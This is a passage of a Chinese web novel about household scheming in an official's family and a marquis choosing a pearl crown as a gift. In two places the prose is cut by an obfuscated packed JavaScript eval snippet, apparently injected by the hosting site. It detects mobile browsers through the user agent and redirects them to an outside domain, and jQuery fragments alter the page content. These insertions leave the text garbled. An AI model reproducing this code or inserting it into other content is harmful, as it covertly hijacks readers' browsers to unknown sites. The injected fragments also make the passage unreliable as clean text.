如此果决,竟能在几瞬之间想清楚形势,而后不等发难,当先站出来。 这等忠心、这等手段、这等气魄,都让关怀素心中忍不住击节称叹。 那边周妈妈跟孙大娘子请罪完毕,又转身对着李珺跪着,哭泣着说:“还请老爷明鉴。这事儿原是老奴仗着身份想拿捏一下,本想着叫丁妈妈给我许点好处再回禀娘子……却没想到她没回过味儿,竟直接回大姑娘了。我后来也忘了这事儿,却没想到差点害了宁小娘……此事原是老奴贪心,娘子却是真的不知道的!” “不是的!妈妈不要浑说!这原就是我忘记了!”大娘子愕然一下,而后猛地冲过来,一把抱住了周妈妈,满脸都是泪水,连声说,“妈妈自县里就陪着我,对我如亲娘一般,我舍不得你啊!” 这话说的,把一个重情义到有些过于心软的形象可谓是演得活灵活现。 这一招换成不信自己的人,其实推卸责任找替罪羊的感觉十分明显。 可是若你觉得一个人十几年都温良不争的情况下,这时候这样的表现,却完全符合她的性格。 如李珺,此时就完全信了。 他心中的孙萍,性子温良到了极点,最是憨厚的一个人。 也是这样的一份憨厚和温和,对下人太过关怀,反倒是叫下人养大了心。 想到这里,李珺心中倒是对孙大娘子的恼火去了大半,对李辰瑜说:“还愣着做什么?把你娘扶起来……这刁奴仗着你娘性子慈和,竟差点坏了人性命,给我打死!” “不要!”孙大娘子吓了一跳,尖叫着大喊,一把抓住了周妈妈,对着李珺说,“夫君,妈妈跟了我三十几年,我自小是她奶大的,她虽然犯下大错,可到底不是真的有意害人!求夫君饶她一命吧!” 说完,她竟直接对着李珺跪下来磕头! “你呀!”李珺心中觉得她性子太绵软,但是又怜惜她的温厚,最后犹豫了一下,冷声说:“打二十板子卖出去!家里不能留这等心大的奴才。” 又起身,冷声说:“李福,你把家里这一年多的事情查清楚,该处置全部处置了,后院的份例全部补上。” 事情到这里,便算是处置完了。 关怀素也跟着起身,李珺拉着宁小娘,温声说:“走,开库房,让你挑些东西,这一年多委屈你了。” 宁小娘笑了笑,轻声说:“叫婉玉一起吧,若不是她,我就见不到珺郎了。” 李珺闻言,心中也感慨,立刻回头叫关怀素。 关怀素跟过去,开了库房,才发现李家确实阔气殷实,库房里许多东西,都不像是寒门能有的,许多甚至还是世家才有的零星东西。 就是…… 关怀素眼睛微微眯起,她看着一小块被随便丢在角落的陨铁,心中震撼。 这定然是阿娘的嫁妆,李家人不识货,这一块小陨铁,价值只怕抵得过这大半个库房,但是李家居然把它就这么随手丢在一边。 “婉玉,你来看看,可喜欢这套首饰?”宁小娘叫关怀素。 关怀素立刻悄悄把巴掌大的陨铁收入袖子,柳叶知机地替她挡好。 等收好,关怀素才笑意盈盈地过去,挑了两套头面,又挑了一些好料子,完了宁小娘非说那湖蓝色的新段子与银红的贡纱适合她,前前后后又多塞了十几匹料子并两套首饰给她。 这些东西都是李珺私藏,都是好东西,最后前后送了三趟,才算全部搬了过去。 “这东西太多了……”关怀素假意推辞。 “你救了双双的性命,这点钱财算什么。”李珺被美妾挽着撒娇,心中豪情万千,完全不在乎这点东西。 宁双双闻言开心,招呼着:“走,一起去用些点心!” 她不再卧床之后,关怀素才发现宁小娘性格十分娇憨活泼,十分惹人喜爱,叫人难以拒绝。 李珺显然也很受用,马上叫人拿了时兴点心来,摆了满满一桌,笑着感慨:“倒是许久没有偷得浮生半日闲了。” 宁小娘含笑与他说了几句闲话,而后仿佛好奇地问:“听说,昨儿个在万叶楼差点出事了?” 李珺登时脸上笑容沉了下去。 吓得宁小娘掩口,害怕地转头看关怀素说:“怎地了,可是我问的有什么不对?” 关怀素知道宁小娘在故意给自己搭台子,便放下茶杯,笑着说:“哪里,小娘也是关心我。是家里丫鬟与马家郎君私会,反倒想污蔑我。” 关怀素说到这里,故作气愤地摇头,说:“不是大事,就是恶心人了些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232601|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟满京师谁不知道那个马公子自进京之后就没从花楼里出来过,名声臭不可闻,那丫鬟真是猪油蒙了心,竟拿这等腌臜人物牵扯到我身上……” 说完,关怀素露出一个嫌弃的表情。 她说完就想和宁小娘聊别的,可这话落到李珺耳里,就不啻于一道天雷,他问关怀素:“玉儿,你说什么?那满京师都知道马公子名声不好?” 关怀素迟疑了一下,点头,轻声对李珺悄声说:“京师里的姑娘们都知道,私下我们都很是嫌恶他呢。” 京师里的姑娘们都知道,那代表她们家里的家人也都知道。 那么,对于他李珺居然有意将亡妻之女嫁给如此荒唐人物……大家又是如何猜测的呢? 总不会离了他卖女求荣之类的评价。 没有人管他知不知道此事,只会觉得他小人罢了。 李珺想到这里,顿时觉得脸上火辣辣的,仿佛被人扇了几十个巴掌一样。 他重重放下茶杯,怒声说:“既是那样的人,怎能还与人家交往,还请人来吃酒?真是混账!” 骂的是谁,大家都知道。 宁小娘与关怀素假作不知,只垂着眼眸假装在看自己的衣摆。 而后李珺心神大乱,随口说了一会儿话,便说明儿个开始就是小年,到时候家里就要十分忙碌,叫她们也赶紧回去准备云云,叫她们自去屋里休息。 宁小娘与关怀素立刻便起身告辞,出得门来,宁小娘和关怀素相视一笑,一切尽在不言中。 “大姑娘,正好过年,我想做些新衣裳,只是卧床太久,也不知京师如今时兴什么。”宁小娘笑着挽起关怀素的胳膊,说,“劳烦大姑娘给我参谋参谋?” “我的荣幸。”关怀素笑着说,“托小娘的福,得了许多好料子,咱们一道做!” 二人笑着挽手回后院,身后,李珺送走她们,脸色便沉下脸,而后想了一下,到底没忍住气,怒气冲冲地往东院去。 东院,大娘子正凄惶地拉着扶芳问:“怎样,周妈妈如何了?” “人接到了,伤养一阵子就能好,娘子只管放心。”扶芳连声安慰,拍着孙大娘子的背安抚。 孙大娘子一听,顿时长长地舒了一口气,跌坐在了凳子上。 “阿娘,你可千万别太难受了,周妈妈既然无事,你也要保重身子啊!”婉淑连忙劝慰。 “今儿多亏你。”孙大娘子放下心来,想到方才婉淑为自己说话,心中一暖,抱着婉淑连声说,“老天还是可怜我,倒叫我得了这么个得力的女儿!” 两人抱着垂泪一番,婉淑着急地问:“阿娘,怎地就闹得如此厉害,当初宁小娘得宠,屋里缺了什么,也没见爹爹发这么大的火!” 这事儿孙大娘子自己也不清楚,她早上睡醒就是噩耗,这会子立刻看向扶芳。 扶芳立刻说:“今儿一大早,老爷听到宁小娘吩咐人,叫别忘了把大姑娘屋里的垫脚炭也换了,老爷听到了,便去了大姑娘屋里,结果一去才发现大姑娘那儿炭火没有,下人说月钱也是大姑娘贴补的,说到了典卖首饰的事情,这一桩桩牵扯一起,全数才被发现了……” “果然是会咬人的狗不叫!”孙萍听到这里,哪里还不明白?她咬牙恨声说,“李婉玉这个小贱种,竟联合宁双双那个粗鄙农妇设局害我!” “她怎敢!”扶芳不可置信地说,“她的婚事还捏在您手上呢,怎敢与您对上?” 正说话间,却听到门口传来动静,丫鬟进来禀告:“娘子,老爷来了,瞧着脸色不大好!” 第六十五章 申斥 李珺一进门,婉淑立刻先朝他问安,李珺这才强行收了怒意,冷着声音说:“眼瞅着天气虽然冷了,但是功课也不可太过懈怠,赵家找的嬷嬷是伺候过先太后的老人了,多学些,以后能受用一辈子,可不能错过良机。” “爹说的是,女儿记下了。”婉淑笑着行礼领训,身边的点墨也笑着邀功,说:“老爷有所不知,咱们姑娘最是勤奋,嬷嬷先头教了赏画焚香,姑娘恨不得把家里所有的画都拿出来配香呢。” 李珺脸色缓和下来,点头说:“我们这等人家,这些事是必须懂的。” 然后才说:“去休息吧,我有事儿要和你娘说。” 婉淑心中担心,但是也知道此事她管不了,于是便只能行了个礼,垂眸出去了。 瞧着婉淑回了自己屋子,李珺立刻怒指孙大娘子呵斥:“你真是荒唐!” 孙大娘子知道不好,立刻跪在地上擦眼泪:“是我管家不力,委屈宁小娘和大姑娘了,都是我的错。” “我不是说管家的事儿!”李珺生气地说,“你知不知道那马修文荒唐名声传遍京师了,你竟还想着把婉玉嫁过去……你是想背上一个苛待继女的名声,还是想顺便让我李某人背上卖女求荣的名声?!” “什么?!”孙大娘子立刻假作震惊,说,“夫君可别胡说!那马公子我瞧着风度翩翩,是个好儿郎,怎么会……” “你不知道?”李珺狐疑地看着孙大娘子,不太相信的表情。 “夫君,我、我常年在家里,就算是走动,也不过是与亲戚们见面。夫君在外面难道是听到了什么风声?”孙大娘子表情惴惴不安。 李珺迟疑,想想她确实常年在内宅,许是真的消息不灵通,被马家人有意做局了。 想到这里,李珺便说:“不管如何,既是个在人家宴会上都能与婢女混在一起的,那必然不是什么好东西!马家你去回绝,亲事休要再提了!” 孙大娘子心中大痛,这回真是赔了夫人又折兵,可是她不敢坚持,只能连连点头,满口应下此事。 李珺吩咐完,并不再与她多说,转身就去宁小娘院子。 孙大娘子心中愤恨,憋了半晌,扶芳小心翼翼地劝:“娘子,明儿小年,家里还有许多事情等着您定夺呢……” 若是周妈妈在,这会子还能跟她说说话,出出主意。 扶芳虽得用,但是到底不如周妈妈。 想到周妈妈被打板子时,苍老的面容满是痛苦,鬓边的银发都乱成一团……那都是妈妈替她受的罪。 是她最近瞧着事事顺利,竟益发托大了。 昨儿若不是她不听妈妈的劝告,执意发那一场火,更小心注意些院子里的动静,哪里就在今天被突然发难给制住了? 还有菊香……那丫头瞧着素日与翠翠关系好,平素瞧着都是个忠诚听话的,她今儿突然跳出来,显然是因为昨儿翠翠的死,把她给刺激到了。 桩桩件件的事情在脑子里过了一遍,孙大娘子长长地吐出一口郁气,又恢复了镇定。 “扶芳,叫人给周妈妈送一百两银子,叫她只管好好在庄子上休养。拿二十两,给翠翠找个好地方安葬了。再有,宁小娘把菊香要去伺候了对吧?叫人把她屋里全部送给她,告诉她,她是个好的,倒是我没福气,错过了个这么忠直的好丫鬟,若是早提拔她在身边,只怕家里还不至于出如此大错。”孙大娘子缓慢地一桩桩一件件吩咐好,听得扶芳整个都精神一凛。 “可清楚了?”孙大娘子交代完,问。 “清楚了。”扶芳躬身点头。 “去吧。”孙大娘子点点头,又疲惫地叹了口气,才说,“我先眯一会儿,你回来之后,叫大家伙再回禀事情。” 扶芳应是,躬身悄悄地出去处理一应事务。 是夜,家里人就都知道了孙大娘子厚葬背主丫鬟翠翠,又夸赞菊香的事情。 关怀素得知时,也忍不住赞叹:“她真正是厉害!” 柳叶点头:“确实厉害,这一招连消带打,只怕连老爷都觉得大娘子温厚正直。” “这婆娘如此忍的,姑娘可要小心了。没得姓马的,指不定背后还要有什么别的算计呢。”丁妈妈说完,又抚心口说,“不过好在好歹还有老爷,大娘子吃了瓜落,下回必然是不敢给姑娘寻摸那等腌臜人家了。” “你觉得老爷是真不知道?”关怀素垂眸,拿起热气腾腾的引子喝了一口,嘴角笑容讥笑。 “这……老爷今儿知道姓马的是什么货色,发了那么大的火呢!”丁妈妈压低声音轻声说,“听说大娘子吃了好一顿申斥!” “这火是发给我和其他人看的。”关怀素放下杯子,说,“毕竟父亲可是最最清正中直的一个人啊,怎能把发妻留下的唯一血脉亲自嫁给那等腌臜**人物呢?” 柳叶也说:“天天在外行走的人,稍微查一下就能知道马家风评多差,要么是完全不上心,要么是装傻,总不能是真关心姑娘。” 丁妈妈不解:“可大姑娘嫁的不好,老爷也无甚好处啊!若是大姑娘嫁的好,一家子日后守望相助,这才是家业兴旺的道理。老爷和家里哥儿日后也是要帮手的,何必如此对姑娘?” “若嫁过去生了嫡子,姻亲便成了。哪怕我**呢,这姻亲关系也攀得上,不耽误事儿。”关怀素冷声说。 丁妈妈还是不敢置信,说:“何至于此!找个好人家,到时候姑娘过的好,也跟家里更贴心啊!” “是啊,妈妈说的是。”关怀素轻声地、像是自言自语一般说,“……为什么李家竟如此决绝呢?” 想为姐姐找用得上的助力,便是找个差不多的人家,也一样是可以的。 像马修文那么浪荡荒唐的公子哥可也不多见,一般人家,姐姐嫁过去过得好了,确实家里来往也更贴心。 那么多人家,为何不挑个过得去的,要如此敲骨吸髓? 更重要的是,其他人就算了,为何父亲也坐视如此? 这非常不符合父亲的利益,完全没有利益最大化,且到底是他亲女儿,怎会如此漠然呢?甚至隐隐都不顾惜自己的声誉…… 这非常非常奇怪,关怀素竟一时完全想不明白。 难道父亲就这么愚蠢,真的看不出里面的门道? 不可能! 关怀素不相信一个能在官场搭上王相、能坐稳吏部考功司这等关键位置,又能在弱冠之年娶到三品大员唯一嫡女、长期宦海浮沉的人是个蠢货。 那就只有一个解释,那必然是有 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老夫人受用地眯起眼睛,说:“你素来是个懂事的,珺儿是个好孩子,他心软,很多事情,你就更要替他想在前头,也是为了文哥儿和蓉姐儿好,知道吗?” “哎,我知道老夫人疼我,也疼文哥儿和蓉姐儿。”崔妙人垂眸,殷勤小意地轻声说,“这事儿不会让珺哥哥知道的,老祖宗你只管放心。” 一屋子人各有各的想法,各自谋算着,只是面上都一团和气,看似开心地准备过年事宜。 隔日一大早,赵白芷一早递来帖子,说是腊月停了上课,便请三位同窗陪着一起逛逛,买些过年用得着的东西。 孙大娘子自然不会拦着,特地叫关怀素把事情交代了,又拉着她的手说:“是我这个做母亲的有眼无珠,闹出昨儿那等事情,吓着你了。玉儿你今儿出去多散散心,看上什么喜欢的只管拿下,若是银钱不够,只管找你三妹妹要。” “是啊,大姐姐,阿娘昨儿内疚的一夜都没休息,说差点耽误了姐姐一辈子,很是后怕呢!”婉淑立刻便亲**对关怀素说,“一会儿姐姐看上什么便告诉我,就当给姐姐赔罪了!” 丫鬟上了茶,关怀素喝了一口,笑着说:“不过是宴客的时候出了些事情,加上丫鬟不懂事乱攀咬,又关大娘子什么事儿呢?更何来有眼无珠一说?” “说得极是,原就是瞧着马夫人和煦,才交往频繁些,倒是没想到横生枝节,日后家里宴客,倒是要小心些,免得惊着你们姐妹。”孙大娘子见她四两拨千斤,从头至尾都假作不知道婚嫁之事,眼底闪过忌惮之色,面上愈发笑得慈爱,“再有半月,便是你及笄的日子,今儿务必买些喜欢的,到时候及笄宴总用得上的。” 又对婉蓉说:“蓉姐儿也是如此。” 婉蓉登时眼睛一亮,大喜,起身行礼。 关怀素也起身道谢。 出了门,赵白芷刚巧也到了,几个小姐妹同乘一辆马车,欢喜地往长安大街而去。 关怀素上马车的时候,赵二郎要来扶,格外殷勤,关怀素礼貌躲过去了。 她却不知道,赵二郎憋着个大惊吓等着她。 第六十六章 送礼 闺阁女子难得出门,大家都极其兴奋,逛了一大圈,赵白芷给父亲买了一只上好的玉扳指作为新年礼物,就想着给母亲也挑个首饰。 这京师里的老铺子就那几个,逛了两家依然不满意,三人就到了珍玩楼。 “全京师最好最新的货基本上都在这珍玩楼了,这里若是还挑不到,那别的地方也没了。”赵二郎笑着对赵白芷说话,招呼着李家三姐妹一起跟上。 “白芷姐姐今儿随手就花了五百多两呢。”婉蓉落在身后,悄声与关怀素和婉淑说,眼里都是艳羡。 “赵家家大业大,自该如此。”婉淑端庄地笑笑,又转头轻声对关怀素说,“大姐姐有看上的跟我说,咱们比不过白芷姐姐,五十两以内却也没什么问题。” 她年纪最小,却一副老成持重模样,气的婉蓉差点啐出来,但是转眼想到大娘子今儿个说的话,便硬生生咬牙笑了一下,说:“对哦!今儿母亲说了,我和大姐姐都能挑件合意的首饰,三妹妹,一会子我可就不客气啦!” 婉淑笑了笑,说:“自然。” 婉蓉便乐滋滋地提着裙摆,当先进门。 一行人直上二楼雅间,掌柜的拿出许多好东西来,关怀素登时就看到了上次她十分喜欢的珍珠发冠。 这珍珠发冠有些素,并不适合赵夫人的年纪,小厮便把珍珠发冠移到了一边。 赵白芷在一堆东西里挑选,婉蓉与婉淑都给她凑趣,一直在出主意。 关怀素插不上话,坐在旁边百般无聊,不免就又忍不住细细欣赏那珍珠发冠起来。 她其实尤爱珍珠,珍珠温润不争,光泽变化万千,温柔秀美,触手微凉,在夏日配薄烟青色、银红色的纱衣最是好看。 若是冬季在发冠上搭些花朵或是素金钗环,也极其华美大气。 只是珍珠价贵,关家只算富足,并不奢靡,她在老家也有珍珠首饰,但都是镶嵌了珍珠的小发钗和簪子。 也就是京师这种大铺面,才能有这种百颗攒成的发冠,还如此随意拿出来给熟客细看。 关怀素细看下来,心中愈发喜爱,只是想想这珍珠发冠的身价,心中微微叹了口气,强行逼迫自己挪开眼神,看向面前的其他东西。 好在赵白芷已经选到了心仪的礼物,她买了个赤金镶七色宝石的对钗,开心地回头对关怀素说:“婉玉姐姐,你看这钗子可好看,这对钗子刚巧可以搭配我阿娘的一套首饰,她一定开心!” 关怀素登时把发冠抛之脑后,也开心地连声说:“哎呀,那可真好!” 买完东西,大家又一起去了八宝楼吃了烧鸭,到了傍晚赵二郎送她们回家,临别笑着让小厮给三人每人送了一个匣子。 见婉蓉和婉淑拿得自然,想着也是赵二郎的习惯,关怀素也觉得是个随手小礼物,便让柳叶接下。 回院子,劳累一天,关怀素准备休憩沐浴,突然就听到柳叶一声大叫! 见关怀素回头,柳叶放下捂住自己嘴的手,磕磕巴巴地说:“姑娘、姑娘……这、这礼物不对劲!” 丁妈妈凑过去一看,也吓得喊了一声娘。 关怀素立刻过去看,顿时也愣住了——这锦盒之中,静静地躺着一顶精巧漂亮的重瓣莲花珍珠冠。 宝光莹莹,霞光流转,一看就是好东西。 正是珍玩楼里那顶珍珠发冠。 这不该是赵二郎该给她送的东西! 关怀素第一反应就是弄错了。 “姑娘,这、这发冠是弄错了吧?”柳叶也迟疑地问。 关怀素点头,皱眉说:“这定然是弄错了,这么贵重的东西,不应当送我,可能是要给白芷妹妹的。” 想到这里,关怀素心中笃定,立刻叮嘱丁妈妈:“妈妈,明儿一早你亲自去赵家走一趟,把东西还给白芷妹妹。” 关怀素这边想好了办法,却没想到珍玩楼里,因为这顶珍珠发冠,倒是正在起一场风波。 周乐天去了珍玩楼,正问那顶珍珠发冠。 “白雪却嫌春色晚,故穿庭树作飞花。”那天一别之后,周乐天耳边却总响起这句诗。 大雪落下时相视一笑的温情默契,让本来习惯独处的周乐天,突然格外寂寥落寞。 他这辈子也是第一次对一个女子有了格外不同的关注,一时也搞不清楚到底是怎么回事,但是心中时时牵肠挂肚,总想做点什么。 刚巧听来福突然感慨,说已经冬月了。 周乐天就突然想到了一件事情,他问来福:“李家大姑娘是不是冬月的生辰?” 来福闻弦歌而知雅意,立刻精神抖擞说:“爷,是的,算起来便是小年前三天,如今只差七天了。” 周乐天一听,立刻便起身说:“走,去珍玩楼!” 结果到了地方才知道,偏就那么凑巧,发冠刚巧今儿卖掉了。 来福登时着急了,连声问:“谁?谁把发冠买走了啊?瞎了他的狗眼,什么时候不买这时候瞎买!” “是赵大人府上二郎君。”掌柜瞧着不对劲,但是却不知道为啥,想着调节气氛,便贼眉鼠眼地说起,“赵家二郎君买了那珍珠发冠,是送赵姑娘同行唤婉玉姐姐女子。小的瞧着,他只怕是看上了对方,当时那姑娘一直在悄悄看珍珠发冠,看穿着打扮,却又似乎囊中羞涩,因此虽喜欢,却连上手都未曾,只恋恋不舍地看了一会儿就走了。” 掌柜说到这里,有些眉飞色舞:“别说,这二郎君真是个中好手,他们一行人离开时,他一点也没表示,直到离开之后才有小厮折返来买那珍珠发冠……想也知道,那姑娘黯然离开之后,又再次受到如此大礼……只怕立刻就要感动万分……” “你闭嘴!”来福听到这里,气得差点肝胆俱裂,立刻大吼一声,止住了掌柜继续说下去。 他家侯爷生平第一次喜欢一个女子,难得第一次想给人送礼物,结果却叫赵二郎抢先了! 这对一个男子来说,无疑是最大的挑衅! 来福气得不行,至于周乐天,他脸色一下子也沉了下来。 来福着急地拍桌,说:“咱们这里什么没有,快拿更贵更好的来!” 掌柜品味出不对劲了,即刻叫人上压箱底的东西,一堆东西铺开,顿时霞光满屋,一室亮堂。 成套的钗环首饰都十分名贵,用料也十分考究,看着比珍珠发冠贵的也不少。 但是周乐天看了一眼,便起身离开。 来福连忙跟上去,心里真是连连叫苦。 他心里明白爷为什么烦躁,毕竟这珍珠发冠虽不算什么稀罕东西,可难得是李大姑娘她稀罕啊! 这女娘喜欢的东西,有时候是不讲珍贵值钱的,得讲究一个喜欢。 来福想了想,说:“爷,咱们去别家店里逛逛?许是有更大更好的珍珠冠呢!” “不必。”周乐天却没生气,只摇头,咳嗽一下,说,“回府,开库房挑便是。” 来福一听,登时豁然开朗,立刻喜悦地说:“对啊,我怎地忘了,咱们家里那些吃灰的珍珠宝石,随便一样不比现在的好?” 立刻伸头吩咐外头的弟兄:“快快家去!” 到了家里,来福丝毫不耽误,立刻带人去开了周乐天的私库。 有手下第一回进西院府库,一进门就被满目琳琅震到,脱口而出:“来福哥,这、这里头东西这么多,咱们找什么呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238155|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “找珍珠!”来福在成套的白玉、宝石、鸽血红、珊瑚头面里查找穿梭,没好气地说,“珍珠认识吗?不认识找几个认识的兄弟来!” 又忍不住说:“这里头东西到底是怎么整理的,怎地堆得乱七八糟,一点条理也没有,忒难找了!” 手下们跟着到处翻找,连开了几十个箱笼,终于才大喊一声:“来福哥,是这些吗?” 来福立刻冲过去,打开箱子,一层层抽开来看,登时就看到了泛着紫光、粉光的珍珠。 有各种珍珠项链、钗环,还有大小不一的珍珠冠,还有三层垂翅大珍珠振翅冠。 “来福哥,这里都是珍珠,十几箱呢,咱们都抬出去给爷选?”手下迷茫地问。 “都拿去给爷看看。”来福一脸灰,得意地笑了,说,“这些哪样都稳赢珍玩楼的那顶珍珠冠!” 外头西府管家进门来,立刻好奇地问:“来福,你说的是啥意思?爷大晚上开府库,是为了送某个姑娘礼物?” 来福开心地笑,说:“别声张,若事情顺利,府库里这些落灰的东西,日后说不得就用得上了!” 管家一听,登时大喜过望,立刻撸起袖子说:“那赶紧的搬出去,好好选选!” 又说:“小心些,这里头有些是前朝内宫的手艺,如今都做不出了,别磕碰到了,日后叫夫人心疼,老子给你们吊房梁上!” 众手下都是多年跟着周乐天的老人,听说他是要送女娘,登时都喜笑颜开,吭哧吭哧把十几箱珍珠首饰全抬到正屋,给周乐天选择。 周乐天自个儿都愣了一下,说:“库房里这么多珍珠?” “爷,都是先帝和太后陆续赐下来的,还有您当初的战利品,再则还有许多是驸马当年举族珍藏,这些不多。”管家恭敬地回话,轻声说,“府库这些女子用的东西多年未曾整理过,不如明儿个开始,我按照账册清点一下,只怕还有许多在角落积灰。” 周乐天颔首应下,想到关怀素的头顶,总是一些小而简素的饰品,立刻说:“你说的是,梳理一下,找些好看的首饰……算了,这些放太久了,都不时兴了,我记得早年我阿拜疆的王冠上有一颗西域掳掠来的绿宝石……” 管家点头,说:“在库房里。” “就用这颗绿宝石,拿几斛珍珠,重新再做一顶一年景。”周乐天眼前仿佛出现了关怀素含笑而立的样子,**,自己嘴角已经带上了温柔的笑容,他忍不住轻声说,“绿色肯定很衬她。” 来福和管家互相使眼色,心中都十分喜悦,管家抱拳,说:“爷放心,明儿个我去找人,保管做出一顶最时兴最漂亮的!” 周乐天看了看眼前的这些发冠,总是不满意,选了又选,最终勉强看上了一顶五层的重瓣牡丹挑牌发冠。 这发冠不过成年男子一拳大小,通身都是小指肚大小的紫光珍珠串成花瓣,形态舒展,看得出来是前朝内造的手笔。 他叹了口气,轻声说:“这顶瞧着精致又不会太过贵重,如今她在李家很是不易,这顶勉强能见见人,不至于叫她难做。日后……” 日后有机会,总会叫她能光明正大穿戴好东西的,周乐天这句话隐在嘴唇边,突然愣住。 他意识到了自己在想什么,顿时愣住了。 周乐天才发现自己这一番心思实在是奇怪,他与关怀素才见多少次,怎地兴致勃勃地想着给对方选首饰起来? 而且为何多番挑选,各种用心,又嫌弃这些东西配不上她,不够时兴,又怕东西太贵重给她惹麻烦? 他什么时候变成这样古怪的人了? 周乐天被自己古怪的心思弄得心乱如麻,一时竟愣住了。 第六十七章 及笄贺礼 周乐天私下准备,关怀素一无所知,第二日是送年礼的时候,她一早就带着年礼去程家拜访。 程娘子看到一大堆东西,惊得连声问:“你这是去哪里弄来这许多东西?快拿回去,你一个小姑娘家家有多少钱,这一番花用完了日后怎么办?!” 说完竟是不许人搬下来,一副提心吊胆的样子。 关怀素看得一个劲儿笑,柳叶赶紧开口解释:“夫人别误会,这里都是咱家老爷让小姐送来的年礼,老爷说都是自家亲戚,年节走动,该有的礼数还是不能少。” 程娘子听得愣了一下,这才诧异地问:“这真是你家老爷说的?” 看关怀素点头,程娘子十分惊讶,接着脸上还没露出笑容,却又沉了下来——她自从出事之后,除了素日亲厚的几家,满京人都把她当个笑话,走到哪里都是嫌弃。 想照拂一下故旧留下的唯一血脉,却都多次不得其门不说,反倒是不知丢了多少次脸。她也不是真的心如钢铁,不过是知道这时候,越是所有人糟践,就越要昂起头,否则谁都能踩她一脚。 她告诉自己,谁嘲笑她都不用放在心上。 但是她唯一想照顾的小姑娘却躲着她的时候,程娘子才真是挖了心肝一样疼。 她每回期待地出发,回来时候都要哭许久。 她以为婉玉愿意叫她一声姨母,她此生就再无憾事了,却没想到却能堂堂正正地当了一回亲戚来往。 这年礼并不只是一份礼物,而是两家通家之好,日后婉玉生辰、成亲,她都能堂堂正正地登门喝一杯喜酒,能堂堂正正地以长辈的名义为婉玉添妆。 而这,绝对不是李珺突然想通了。 定是婉玉亲自去求父亲的,也不知道她费了多少功夫,才换来了李珺松口。 而且……她的身份,若是真与李家当做亲戚来往,日后还不知道会不会阻碍婉玉的姻缘? 一时之间,程娘子念头百转千回,到最后一把抓住关怀素的手,连声说:“不行!可不能如此!” 看关怀素奇怪地看她,程娘子鼻头一酸,嗓子发哑,说:“好孩子,你待姨母这片心,姨母都知道了。但是姨母这样子,平素悄悄来往就算了,若是真这样,我怕日后有碍你的前程啊……” 程娘子说到此处,有些哽咽。 世人谁愿意自轻自贱? 程娘子也不愿意,她也不觉得落入教坊司的自己犯了什么错。 不过是时运不济,是世道不公。 可是世人要这么看她,她也是无法,她怕带累自己关心的人。 关怀素明白了程娘子的言下之意,左右看一眼,拉着程娘子低声说:“姨母你只管放心,我瞧着不久之后,就再也无人敢轻慢于你了!” 说着,关怀素低声把前些日子与李珺的对话说了,然后低声对程娘子说:“大长公主回京,武将一脉人心浮动,圣人必要施恩武将一系,表明亲近之意,姨母您手中无权,又是个举目无亲受苦的弱女子,本就是最佳人选。我父亲此人谨小慎微,既然敢让我送年礼过来,想来事情应当已经有些眉目了。” 程娘子听到她揣测帝王之心,心中大骇。 她惊疑不定地看着关怀素,惊声问:“玉儿,伯父到底在庄子上藏了什么人,竟连这种帝王心术都教导与你?!” 关怀素笑着撒娇:“好了,姨母你放心了就让人卸了东西吧!我这一大早上忙活着收拾的呢!” 程娘子见她不答,也不好追问,只能点头让管家安排人搬东西,一路叮嘱她日后不许再对其他人说起这种话。 关怀素答应着,二人一进门,就发现院子侧门打开了,周乐天踏雪而来。 他今儿穿着水玉色貂毛氅衣,黑发如墨,唇无血色,天上雪花飘飘而落,落在鸦羽一般的睫毛上,凝而不落,像是栖息了一只白蝶。 “积石如玉,列松如翠。郎艳独绝,世无其二。”关怀素不知为何,脑海之中突然就浮现出了这句乐府词。 在这怔忪的一瞬间,周乐天已经走到了面前,一把拦住关怀素的请安,开口就是一串咳嗽。 关怀素登时有些着急,不知为何脱口而出责备:“您怎么就不戴个风帽呢?最近风很大,怎能如此任性!” 说完又觉得自己实在是太突兀,于是立刻请罪:“是我唐突……” 还没说完,便听周乐天温声请罪:“是我不是,今儿瞧着有太阳,便又大意了。但是自打上回你叮嘱后,我最近一直记得带手炉子!” 他说完,敞开氅衣的袖子,给关怀素看里面熟悉的手炉子,神态居然有几分可怜,像是怕她生气的样子。 这态度登时叫关怀素的心瞬间软了,也忘了身份和规矩,担心他的身体,立刻捏着貂毛袖子给他拢上,忍不住轻声说:“知道了,别敞着,仔细走了风。” 周乐天见她没生气,这才放下心来,而后开心地说:“我听说过几日便是你及笄的大日子,便给你备了一份贺礼。” 说完,他接过来福递过来的匣子,亲自打开给关怀素看。 木匣子打开,里面一顶珍珠攒成的五层芙蓉花冠静静地躺在红锦缎上,满身浅浅烟雾一般的紫色华光。 那芙蓉瓣都是用大小一致的珍珠攒成不说,花冠环着一圈**,正面镶嵌紫玉,四周以雕花金线为引,勾着四面紫玉牌的珍珠垂帘。 此物精致绝伦,绝不是民间能见到的东西。 关怀素被震撼的呼吸都凝滞了一瞬,立刻说:“这东西太贵重,非亲非故,我怎能受侯爷如此大礼?” “这算什么大礼,对我来说,这都委屈你了。”周乐天立刻说,“不过是库房里随手捡着的小玩意儿罢了,你收下戴着玩吧。” 关怀素实在是为难,这发冠贵重惊人,她真的不敢收,可是周乐天却误会了,他心中一动,而后脸上露出难过之色,轻声 